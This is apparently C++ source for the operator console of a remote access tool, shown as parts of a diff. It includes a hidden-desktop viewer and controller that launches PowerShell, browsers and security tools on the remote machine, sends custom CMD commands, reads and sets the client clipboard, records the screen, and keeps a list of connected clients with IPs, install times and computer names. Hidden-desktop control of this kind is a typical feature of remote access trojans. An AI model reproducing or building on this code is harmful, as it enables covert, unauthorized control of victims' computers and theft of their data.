m_lpvRectBits = new BYTE[m_lpbmi_rect->bmiHeader.biSizeImage];
}
SelectObject(m_hFullMemDC, m_BitmapHandle);
SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE);
SetStretchBltMode(m_hFullMemDC, STRETCH_HALFTONE);
GetClientRect(&m_CRect);
ScreenToClient(m_CRect);
m_wZoom = ((double)m_BitmapInfor_Full->bmiHeader.biWidth) / ((double)(m_CRect.right - m_CRect.left));
m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top));
}
}
void CHideScreenSpyDlg::DrawFirstScreen(PBYTE pDeCompressionData, unsigned long destLen)
{
BYTE algorithm = pDeCompressionData[0];
LPVOID lpFirstScreen = pDeCompressionData + 1;
DWORD dwFirstLength = destLen - 1;
if (algorithm == ALGORITHM_HOME) {
if(dwFirstLength > 0)
JPG_BMP(m_BitmapInfor_Full->bmiHeader.biBitCount, lpFirstScreen, dwFirstLength, m_BitmapData_Full);
} else {
m_ContextObject->CopyBuffer(m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage, 1);
}
#if _DEBUG
DoPaint();
#else
PostMessage(WM_PAINT);
#endif
}
void CHideScreenSpyDlg::DrawNextScreenHome(PBYTE pDeCompressionData, unsigned long destLen)
{
if (!destLen) return;
// 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标, 防止鼠标闪烁
bool bIsReDraw = false;
int nHeadLength = 1; // 标识[1] + 算法[1]
LPVOID lpNextScreen = pDeCompressionData + nHeadLength;
DWORD dwNextLength = destLen - nHeadLength;
DWORD dwNextOffset = 0;
// 屏幕数据是否变化
while (dwNextOffset < dwNextLength) {
int* pinlen = (int*)((LPBYTE)lpNextScreen + dwNextOffset);
if (JPG_BMP(m_BitmapInfor_Full->bmiHeader.biBitCount, pinlen + 1, *pinlen, m_lpvRectBits)) {
bIsReDraw = true;
LPRECT lpChangedRect = (LPRECT)((LPBYTE)(pinlen + 1) + *pinlen);
int nChangedRectWidth = lpChangedRect->right - lpChangedRect->left;
int nChangedRectHeight = lpChangedRect->bottom - lpChangedRect->top;
m_lpbmi_rect->bmiHeader.biWidth = nChangedRectWidth;
m_lpbmi_rect->bmiHeader.biHeight = nChangedRectHeight;
m_lpbmi_rect->bmiHeader.biSizeImage = (((nChangedRectWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
* nChangedRectHeight;
StretchDIBits(m_hFullMemDC, lpChangedRect->left, lpChangedRect->top, nChangedRectWidth, nChangedRectHeight,
0, 0, nChangedRectWidth, nChangedRectHeight, m_lpvRectBits, m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
dwNextOffset += sizeof(int) + *pinlen + sizeof(RECT);
}
}
if (bIsReDraw) {
DoPaint();
}
}
BOOL CHideScreenSpyDlg::ParseFrame(void)
{
//该函数不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用
//OnPaint画上去
//根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
BOOL bChange = FALSE;
const ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
ULONG NextScreenLength = m_ContextObject->GetBufferLength() - ulHeadLength;
POINT OldClientCursorPos;
memcpy(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT));
memcpy(&m_ClientCursorPos, m_ContextObject->GetBuffer(2), sizeof(POINT));
// 鼠标移动了
if (memcmp(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)) != 0) {
bChange = TRUE;
}
// 光标类型发生变化
BYTE bOldCursorIndex = m_bCursorIndex;
m_bCursorIndex = m_ContextObject->GetBYTE(2 + sizeof(POINT));
if (bOldCursorIndex != m_bCursorIndex) {
bChange = TRUE;
if (m_bIsCtrl)//替换指定窗口所属类的WNDCLASSEX结构
#ifdef _WIN64
SetClassLongPtrA(m_hWnd, GCLP_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
#else
SetClassLongA(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
#endif
}
// 屏幕是否变化
if (NextScreenLength > 0) {
bChange = TRUE;
}
return bChange;
}
void CHideScreenSpyDlg::DrawNextScreenDiff(PBYTE pDeCompressionData, unsigned long destLen)
{
if (!destLen) return;
// 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标, 防止鼠标闪烁
BYTE algorithm = pDeCompressionData[1];
if (algorithm == ALGORITHM_HOME) {
return DrawNextScreenHome(pDeCompressionData + 1, destLen - 1);
}
bool bIsReDraw = ParseFrame();
bool keyFrame = false;
const ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE);
LPVOID FirstScreenData = m_BitmapData_Full;
LPVOID NextScreenData = m_ContextObject->GetBuffer(ulHeadLength);
ULONG NextScreenLength = NextScreenData ? m_ContextObject->GetBufferLength() - ulHeadLength : 0;
LPBYTE dst = (LPBYTE)FirstScreenData, p = (LPBYTE)NextScreenData;
if (keyFrame) {
if (m_BitmapInfor_Full->bmiHeader.biSizeImage == NextScreenLength)
memcpy(dst, p, m_BitmapInfor_Full->bmiHeader.biSizeImage);
} else if (0 != NextScreenLength) {
bIsReDraw = true;
for (LPBYTE end = p + NextScreenLength; p < end; ) {
ULONG ulCount = *(LPDWORD(p + sizeof(ULONG)));
if (algorithm == ALGORITHM_GRAY) {
LPBYTE p1 = dst + *(LPDWORD)p, p2 = p + 2 * sizeof(ULONG);
for (int i = 0; i < ulCount; ++i, p1 += 4)
memset(p1, *p2++, sizeof(DWORD));
} else {
memcpy(dst + *(LPDWORD)p, p + 2 * sizeof(ULONG), ulCount);
}
p += 2 * sizeof(ULONG) + ulCount;
}
}
if (bIsReDraw) {
DoPaint();
}
}
void CHideScreenSpyDlg::OnSize(UINT nType, int cx, int cy)
{
__super::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
if (!IsWindowVisible())
return;
GetClientRect(&m_CRect);
ScreenToClient(m_CRect);
if (!m_bIsFirst) {
m_wZoom = ((double)m_BitmapInfor_Full->bmiHeader.biWidth) / ((double)(m_CRect.right - m_CRect.left));
m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top));
}
}
void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
CMenu* pSysMenu = GetSystemMenu(FALSE);
switch (nID) {
case SC_MAXIMIZE:
OnNcLButtonDblClk(HTCAPTION, NULL);
return;
case SC_MONITORPOWER: // 拦截显示器节电自动关闭的消息
return;
case SC_SCREENSAVE: // 拦截屏幕保护启动的消息
return;
case IDM_SET_FLUSH: {
BYTE bToken = COMMAND_FLUSH_HIDE;
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
}
break;
case IDM_CONTROL: {
m_bIsCtrl = !m_bIsCtrl;
pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
if (m_bIsCtrl) {
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)m_hRemoteCursor);
} else
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_NO));
}
break;
case IDM_SAVEDIB:
SaveSnapshot();
break;
case IDM_SAVEAVI_S:
case IDM_SAVEAVI_H264: {
if (pSysMenu->GetMenuState(IDM_SAVEAVI_S, MF_BYCOMMAND) & MF_CHECKED) {
KillTimer(TIMER_ID);
pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_UNCHECKED);
pSysMenu->EnableMenuItem(IDM_SAVEAVI_S, MF_ENABLED);
pSysMenu->EnableMenuItem(IDM_SAVEAVI_H264, MF_ENABLED);
m_aviFile = "";
m_aviStream.Close();
return;
}
m_aviFile = GetScreenShotPath(this, m_IPAddress, "Video(*.avi)|*.avi|", "avi").c_str();
const int duration = 250, rate = 1000 / duration;
FCCHandler handler = nID == IDM_SAVEAVI_S ? ENCODER_MJPEG : ENCODER_H264;
int code;
if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) {
CString msg;
msg.FormatL("创建录像文件失败: %s\r\n错误代码: %s", m_aviFile.GetString(), CBmpToAvi::GetErrMsg(code).c_str());
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
m_aviFile = _T("");
} else {
::SetTimer(m_hWnd, TIMER_ID, duration, NULL);
pSysMenu->CheckMenuItem(nID, MF_CHECKED);
pSysMenu->EnableMenuItem(nID == IDM_SAVEAVI_S ? IDM_SAVEAVI_H264 : IDM_SAVEAVI_S, MF_DISABLED);
}
}
break;
case IDM_GET_CLIPBOARD: { // 获取剪贴板
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
}
break;
case IDM_SET_CLIPBOARD: { // 设置剪贴板
SendServerClipboard();
}
break;
case IDM_SETSCERRN: {
BYTE bToken = COMMAND_SCREEN_SETSCREEN_HIDE;
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
}
break;
case IDM_QUALITY60: { // 清晰度60
BYTE bToken = COMMAND_COMMAND_SCREENUALITY60_HIDE;
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY60, MF_BYCOMMAND);
}
break;
case IDM_QUALITY85: { // 清晰度85
BYTE bToken = COMMAND_COMMAND_SCREENUALITY85_HIDE;
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY85, MF_BYCOMMAND);
}
break;
case IDM_QUALITY100: { // 清晰度100
BYTE bToken = COMMAND_COMMAND_SCREENUALITY100_HIDE;
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY100, MF_BYCOMMAND);
}
break;
case IDM_FPS_1:
pSysMenu->CheckMenuRadioItem(IDM_FPS_1, IDM_FPS_30, nID, MF_BYCOMMAND);
break;
case IDM_FPS_5:
case IDM_FPS_10:
case IDM_FPS_15:
case IDM_FPS_20:
case IDM_FPS_25:
case IDM_FPS_30:
pSysMenu->CheckMenuRadioItem(IDM_FPS_1, IDM_FPS_30, nID, MF_BYCOMMAND);
break;
case IDM_OPEN_Explorer: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_Explorer;
m_ContextObject->Send2Client(bToken, 2);
}
break;
case IDM_OPEN_run: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_run;
m_ContextObject->Send2Client(bToken, 2);
}
break;
case IDM_OPEN_Powershell: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_Powershell;
m_ContextObject->Send2Client(bToken, 2);
}
break;
case IDM_OPEN_Chrome: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_Chrome;
m_ContextObject->Send2Client(bToken, 2);
}
break;
case IDM_OPEN_Edge: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_Edge;
m_ContextObject->Send2Client(bToken, 2);
}
break;
case IDM_OPEN_Brave: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_Brave;
m_ContextObject->Send2Client(bToken, 2);
}
break;
case IDM_OPEN_Firefox: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_Firefox;
m_ContextObject->Send2Client(bToken, 2);
}
break;
case IDM_OPEN_Iexplore: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_Iexplore;
m_ContextObject->Send2Client(bToken, 2);
}
break;
case IDM_OPEN_ADD_1: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_ADD_1;
m_ContextObject->Send2Client(bToken, 2);
}
break;
case IDM_OPEN_ADD_2: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_ADD_2;
m_ContextObject->Send2Client(bToken, 2);
}
break;
case IDM_OPEN_ADD_3: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_ADD_3;
m_ContextObject->Send2Client(bToken, 2);
}
break;
case IDM_OPEN_ADD_4: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_ADD_4;
m_ContextObject->Send2Client(bToken, 2);
}
break;
case IDM_OPEN_zdy: {
EnableWindow(FALSE);
CInputDialog dlg(this);
dlg.Init(_TR("自定义"), _TR("请输入CMD命令:"));
if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) {
int nPacketLength = dlg.m_str.GetLength()*sizeof(TCHAR) + 3;
LPBYTE lpPacket = new BYTE[nPacketLength];
lpPacket[0] = COMMAND_HIDE_USER;
lpPacket[1] = IDM_OPEN_zdy;
memcpy(lpPacket + 2, dlg.m_str.GetBuffer(0), nPacketLength - 2);
m_ContextObject->Send2Client(lpPacket, nPacketLength);
delete[] lpPacket;
}
EnableWindow(TRUE);
}
break;
case IDM_OPEN_zdy2: {
EnableWindow(FALSE);
CTextDlg dlg(this);
if (dlg.DoModal() == IDOK) {
ZdyCmd m_ZdyCmd = {};
_stprintf_s(m_ZdyCmd.oldpath, MAX_PATH,_T("%s"), dlg.oldstr.GetBuffer());
_stprintf_s(m_ZdyCmd.newpath, MAX_PATH, _T("%s"), dlg.nowstr.GetBuffer());
CString m_str = _T("\"");
m_str += _T("\"");
m_str += _T(" ");
m_str += _T("\"");
m_str += dlg.cmeline;
m_str += _T("\"");
_stprintf_s(m_ZdyCmd.cmdline, MAX_PATH, _T("%s"), m_str.GetBuffer());
int nPacketLength = sizeof(ZdyCmd) + 2;
LPBYTE lpPacket = new BYTE[nPacketLength];
lpPacket[0] = COMMAND_HIDE_USER;
lpPacket[1] = IDM_OPEN_zdy2;
memcpy(lpPacket + 2, &m_ZdyCmd, nPacketLength - 2);
m_ContextObject->Send2Client(lpPacket, nPacketLength);
delete[] lpPacket;
}
EnableWindow(TRUE);
}
break;
case IDM_OPEN_360JS: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_360JS;
m_ContextObject->Send2Client(bToken, 2);
break;
}
case IDM_OPEN_360AQ: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_360AQ;
m_ContextObject->Send2Client(bToken, 2);
}
break;
case IDM_OPEN_360AQ2: {
BYTE bToken[2];
bToken[0] = COMMAND_HIDE_USER;
bToken[1] = IDM_OPEN_360AQ2;
m_ContextObject->Send2Client(bToken, 2);
break;
}
case IDM_OPEN_close: {
LPBYTE lpPacket = new BYTE;
lpPacket[0] = COMMAND_HIDE_CLEAR;
m_ContextObject->Send2Client(lpPacket, 1);
delete lpPacket;
}
break;
default:
__super::OnSysCommand(nID, lParam);
}
}
void CHideScreenSpyDlg::DrawTipString(CString str)
{
RECT rect;
GetClientRect(&rect);
COLORREF bgcol = RGB(0x00, 0x00, 0x00);
COLORREF oldbgcol = SetBkColor(m_hFullDC, bgcol);
COLORREF oldtxtcol = SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00));
ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL);
DrawText(m_hFullDC, str, -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER);
SetBkColor(m_hFullDC, oldbgcol);
SetTextColor(m_hFullDC, oldtxtcol);
}
BOOL CHideScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
{
if (m_bIsClosed)
return __super::PreTranslateMessage(pMsg);
switch (pMsg->message) {
case WM_ERASEBKGND:
return TRUE;
case WM_LBUTTONDOWN:
case WM_LBUTTONUP: // 左键按下
case WM_RBUTTONDOWN:
case WM_RBUTTONUP: // 右键按下
case WM_MBUTTONDOWN:
case WM_MBUTTONUP: // 中键按下
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDBLCLK: // 双击
case WM_MOUSEMOVE: {
// 此逻辑会丢弃所有 非左键拖拽 的鼠标移动消息(如纯移动或右键拖拽)
if (pMsg->message == WM_MOUSEMOVE && GetKeyState(VK_LBUTTON) >= 0)
break;
SendScaledMouseMessage(pMsg, true);
return TRUE;
}
case WM_MOUSEWHEEL: {
// WM_MOUSEWHEEL 的 lParam 是屏幕坐标,需要转换为客户区坐标
POINT pt = { GET_X_LPARAM(pMsg->lParam), GET_Y_LPARAM(pMsg->lParam) };
ScreenToClient(&pt);
MSG wheelMsg = *pMsg;
wheelMsg.lParam = MAKELPARAM(pt.x, pt.y);
SendScaledMouseMessage(&wheelMsg, true);
return TRUE;
}
case WM_CHAR: {
// 检查给定字符是否为控制字符
if (iswcntrl(static_cast<wint_t>(pMsg->wParam))) {
break;
}
SendScaledMouseMessage(pMsg);
return TRUE;
}
case WM_KEYDOWN:
case WM_KEYUP: {
SendScaledMouseMessage(pMsg);
return TRUE;
}
}
// 屏蔽Enter和ESC关闭对话
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_RETURN))
return TRUE;
return __super::PreTranslateMessage(pMsg);
}
void CHideScreenSpyDlg::SendScaledMouseMessage(MSG* pMsg, bool makeLP)
{
if (!m_bIsCtrl)
return;
if (pMsg->message == WM_MOUSEMOVE) {
auto now = clock();
auto time_elapsed = now - m_lastMouseMove;
int dx = abs(pMsg->pt.x - m_lastMousePoint.x);
int dy = abs(pMsg->pt.y - m_lastMousePoint.y);
int dist_sq = dx * dx + dy * dy;
if (time_elapsed < 200 && dist_sq < 18 * 18) {
return;
}
m_lastMouseMove = now;
m_lastMousePoint = pMsg->pt;
}
MYMSG msg(*pMsg);
LONG low = ((LONG)LOWORD(pMsg->lParam)) * m_wZoom;
LONG high = ((LONG)HIWORD(pMsg->lParam)) * m_hZoom;
if(makeLP) msg.lParam = MAKELPARAM(low, high);
msg.pt.x = low + m_rect.left;
msg.pt.y = high + m_rect.top;
SendCommand(msg);
}
void CHideScreenSpyDlg::SendCommand(const MYMSG& pMsg)
{
if (!m_bIsCtrl) {
return;
}
LPBYTE lpData = new BYTE[sizeof(MYMSG) + 1];
lpData[0] = COMMAND_SCREEN_CONTROL;
memcpy(lpData + 1, &pMsg, sizeof(MYMSG));
m_ContextObject->Send2Client(lpData, sizeof(MYMSG) + 1);
SAFE_DELETE_ARRAY(lpData);
}
void CHideScreenSpyDlg::UpdateServerClipboard(char* buf, int len)
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hglbCopy = GlobalAlloc(GMEM_MOVEABLE, len);
if (hglbCopy != NULL) {
// Lock the handle and copy the text to the buffer.
LPTSTR lptstrCopy = (LPTSTR)GlobalLock(hglbCopy);
memcpy(lptstrCopy, buf, len);
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
SetClipboardData(CF_TEXT, hglbCopy);
GlobalFree(hglbCopy);
}
CloseClipboard();
}
void CHideScreenSpyDlg::SendServerClipboard()
{
if (!::OpenClipboard(NULL))
return;
HGLOBAL hglb = GetClipboardData(CF_TEXT);
if (hglb == NULL) {
::CloseClipboard();
return;
}
int nPacketLen = GlobalSize(hglb) + 1;
LPSTR lpstr = (LPSTR)GlobalLock(hglb);
LPBYTE lpData = new BYTE[nPacketLen];
lpData[0] = COMMAND_SCREEN_SET_CLIPBOARD;
memcpy(lpData + 1, lpstr, nPacketLen - 1);
::GlobalUnlock(hglb);
::CloseClipboard();
m_ContextObject->Send2Client(lpData, nPacketLen);
delete[] lpData;
}
void CHideScreenSpyDlg::DoPaint()
{
if (m_bIsFirst) {
DrawTipString(m_strTip);
return;
}
if (m_bIsClosed) return;
StretchBlt(m_hFullDC, 0, 0, m_CRect.Width(), m_CRect.Height(), m_hFullMemDC, 0, 0, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, SRCCOPY);
// Do not call __super::OnPaint() for painting messages
}
void CHideScreenSpyDlg::OnPaint()
{
CPaintDC dc(this);
if (m_bIsFirst) {
DrawTipString(m_strTip);
return;
}
if (m_bIsClosed) return;
StretchBlt(m_hFullDC, 0, 0, m_CRect.Width(), m_CRect.Height(), m_hFullMemDC, 0, 0, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, SRCCOPY);
__super::OnPaint();
}
LRESULT CHideScreenSpyDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
{
// TODO: Add your specialized code here and/or call the base class
if (message == WM_POWERBROADCAST && wParam == PBT_APMQUERYSUSPEND) {
return BROADCAST_QUERY_DENY; // 拦截系统待机, 休眠的请求
}
if (message == WM_ACTIVATE && LOWORD(wParam) != WA_INACTIVE && !HIWORD(wParam)) {
SetWindowPos(&wndTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
return TRUE;
}
if (message == WM_ACTIVATE && LOWORD(wParam) == WA_INACTIVE) {
SetWindowPos(&wndNoTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
return TRUE;
}
return __super::WindowProc(message, wParam, lParam);
}
void CHideScreenSpyDlg::OnTimer(UINT_PTR nIDEvent)
{
if (!m_aviFile.IsEmpty()) {
LPCTSTR lpTipsString = _T("");
m_aviStream.Write((BYTE*)m_BitmapData_Full);
// 提示正在录像
SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00));
TextOut(m_hFullDC, 0, 0, lpTipsString, lstrlen(lpTipsString));
}
__super::OnTimer(nIDEvent);
}
bool CHideScreenSpyDlg::JPG_BMP(int cbit, void* input, int inlen, void* output)
{
struct jpeg_decompress_struct jds;
struct jpeg_error_mgr jem;
// 设置错误处理
jds.err = jpeg_std_error(&jem);
// 创建解压结构
jpeg_create_decompress(&jds);
// 设置读取(输入)位置
jpeg_mem_src(&jds, (byte*)input, inlen);
// 读取头部信息
if (jpeg_read_header(&jds, true) != JPEG_HEADER_OK) {
jpeg_destroy_decompress(&jds);
return false;
}
// 设置相关参数
switch (cbit) {
case 16:
jds.out_color_space = JCS_EXT_RGB;
break;
case 24:
jds.out_color_space = JCS_EXT_BGR;
break;
case 32:
jds.out_color_space = JCS_EXT_BGRA;
break;
default:
jpeg_destroy_decompress(&jds);
return false;
}
// 开始解压图像
if (!jpeg_start_decompress(&jds)) {
jpeg_destroy_decompress(&jds);
return false;
}
int line_stride = (jds.output_width * cbit / 8 + 3) / 4 * 4;
while (jds.output_scanline < jds.output_height) {
byte* pline = (byte*)output + jds.output_scanline * line_stride;
jpeg_read_scanlines(&jds, &pline, 1);
}
// 完成图像解压
if (!jpeg_finish_decompress(&jds)) {
jpeg_destroy_decompress(&jds);
return false;
}
// 释放相关资源
jpeg_destroy_decompress(&jds);
return true;
}

View File

@@ -0,0 +1,98 @@
#pragma once
#include "stdafx.h"
#include "../client/CursorInfo.h"
#include "../common/jpeglib.h"
#include "IOCPServer.h"
#include "VideoDlg.h"
#include "Resource.h"
/////////////////////////////////////////////////////////////////////////////
// CHideScreenSpyDlg dialog
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jpeg\\turbojpeg_64_d.lib")
#else
#pragma comment(lib, "jpeg\\turbojpeg_64_r.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jpeg\\turbojpeg_32_d.lib")
#else
#pragma comment(lib, "jpeg\\turbojpeg_32_r.lib")
#endif
#endif
class CHideScreenSpyDlg : public DialogBase
{
DECLARE_DYNAMIC(CHideScreenSpyDlg)
enum { IDD = IDD_SCREEN };
public:
CHideScreenSpyDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
virtual ~CHideScreenSpyDlg();
VOID SendNext(void)
{
BYTE bToken = COMMAND_NEXT;
m_ContextObject->Send2Client(&bToken, 1);
}
void OnReceiveComplete();
BOOL ParseFrame(void);
void DrawFirstScreen(PBYTE pDeCompressionData, unsigned long destLen);
void DrawNextScreenDiff(PBYTE pDeCompressionData, unsigned long destLen);
void DrawNextScreenHome(PBYTE pDeCompressionData, unsigned long destLen);
void DrawTipString(CString str);
void SendCommand(const MYMSG& pMsg);
void SendScaledMouseMessage(MSG* pMsg, bool makeLP = false);
void UpdateServerClipboard(char* buf, int len);
void SendServerClipboard(void);
bool SaveSnapshot(void);
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL PreTranslateMessage(MSG* pMsg);
virtual BOOL OnInitDialog();
afx_msg void OnClose();
afx_msg void OnPaint();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnSize(UINT nType, int cx, int cy);
virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam);
afx_msg void OnTimer(UINT_PTR nIDEvent);
DECLARE_MESSAGE_MAP()
protected:
void DoPaint();
bool JPG_BMP(int cbit, void* input, int inlen, void* output);
void ResetScreen();
HDC m_hFullDC, m_hFullMemDC;
HBITMAP m_BitmapHandle;
LPVOID m_BitmapData_Full;
LPBITMAPINFO m_BitmapInfor_Full;
HCURSOR m_hRemoteCursor;
CCursorInfo m_CursorInfo;
BOOL m_bIsFirst;
BOOL m_bIsCtrl;
POINT m_ClientCursorPos;
BYTE m_bCursorIndex;
CString m_strTip;
clock_t m_lastMouseMove; // 鼠标移动时间
POINT m_lastMousePoint;// 上次鼠标位置
private:
CString m_aviFile;
CBmpToAvi m_aviStream;
CRect m_CRect;
RECT m_rect;
double m_wZoom;
double m_hZoom;
LPVOID m_lpvRectBits;
LPBITMAPINFO m_lpbmi_rect;
};

View File

@@ -0,0 +1,62 @@
#pragma once
//////////////////////////////////////////////////////////////////////////
#include <unordered_map>
#include <fstream>
#include <set>
#include "context.h"
enum {
MAP_NOTE,
MAP_LOCATION,
MAP_LEVEL,
MAP_AUTH,
};
#pragma pack(push, 1)
class _ClientValue
{
public:
char Note[64];
char Location[64];
char Level;
char IP[46];
char InstallTime[20];
char LastLoginTime[20];
char OsName[32];
char Authorized;
uint64_t ID;
char ComputerName[64];
char ProgramPath[256];
char Reserved[448];
_ClientValue()
{
memset(this, 0, sizeof(_ClientValue));
}
};
#pragma pack(pop)
typedef uint64_t ClientKey;
typedef _ClientValue ClientValue;
typedef std::unordered_map<ClientKey, ClientValue> ClientMap;
class _ClientList
{
public:
virtual ~_ClientList() {}
virtual bool Exists(ClientKey key) = 0;
virtual CString GetClientMapData(ClientKey key, int typ) = 0;
virtual int GetClientMapInteger(ClientKey key, int typ) = 0;
virtual void SetClientMapInteger(ClientKey key, int typ, int value) = 0;
virtual void SetClientMapData(ClientKey key, int typ, const char* value) = 0;
virtual void SaveClientMapData(context* ctx) = 0;
virtual std::vector<std::pair<ClientKey, ClientValue>> GetAll() = 0;
virtual void SaveToFile(const std::string& filename) = 0;
virtual void LoadFromFile(const std::string& filename) = 0;
};
_ClientList* NewClientList();

View File

@@ -0,0 +1,241 @@
#include "stdafx.h"
#include "IOCPKCPServer.h"
#include "IOCPServer.h"
IUINT32 IOCPKCPServer::iclock()
{
static LARGE_INTEGER freq = {};
static BOOL useQpc = QueryPerformanceFrequency(&freq);
if (useQpc) {
LARGE_INTEGER now;
QueryPerformanceCounter(&now);
return (IUINT32)(1000 * now.QuadPart / freq.QuadPart);
} else {
return GetTickCount();
}
}
CONTEXT_KCP* IOCPKCPServer::FindOrCreateClient(const sockaddr_in& addr, SOCKET sClientSocket)
{
char buf[64];
sprintf_s(buf, "%s:%d", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));
std::string key = buf;
std::lock_guard<std::mutex> lock(m_contextsMutex);
auto it = m_clients.find(key);
if (it != m_clients.end()) {
return it->second;
}
// 新建 CONTEXT_KCP
CONTEXT_KCP* ctx = new CONTEXT_KCP();
ctx->InitMember(sClientSocket, this);
ctx->clientAddr = addr;
// 初始化 kcp
IUINT32 conv = KCP_SESSION_ID;
ctx->kcp = ikcp_create(conv, ctx);
ctx->kcp->output = [](const char* buf, int len, ikcpcb* kcp, void* user) -> int {
CONTEXT_KCP* c = (CONTEXT_KCP*)user;
WSABUF wsaBuf = { len, (CHAR*)buf };
DWORD sent = 0;
// 根据ctx存储的IP端口发送
// 注意:要保证 ctx 对应客户端地址,且 sClientSocket 正确
int ret = WSASendTo(c->sClientSocket, &wsaBuf, 1, &sent, 0,
(sockaddr*)&c->clientAddr, c->addrLen, NULL, NULL);
if (ret == SOCKET_ERROR)
{
DWORD err = WSAGetLastError();
// 可以打印错误日志
return -1;
}
return 0;
};
ikcp_nodelay(ctx->kcp, 1, 10, 2, 1);
ikcp_wndsize(ctx->kcp, 128, 128);
m_clients[key] = ctx;
return ctx;
}
UINT IOCPKCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
{
if (m_running) return 1;
m_port = uPort;
m_notify = NotifyProc;
m_offline = OffProc;
m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (m_socket == INVALID_SOCKET) return 2;
sockaddr_in addr{};
addr.sin_family = AF_INET;
addr.sin_port = htons(uPort);
addr.sin_addr.s_addr = INADDR_ANY;
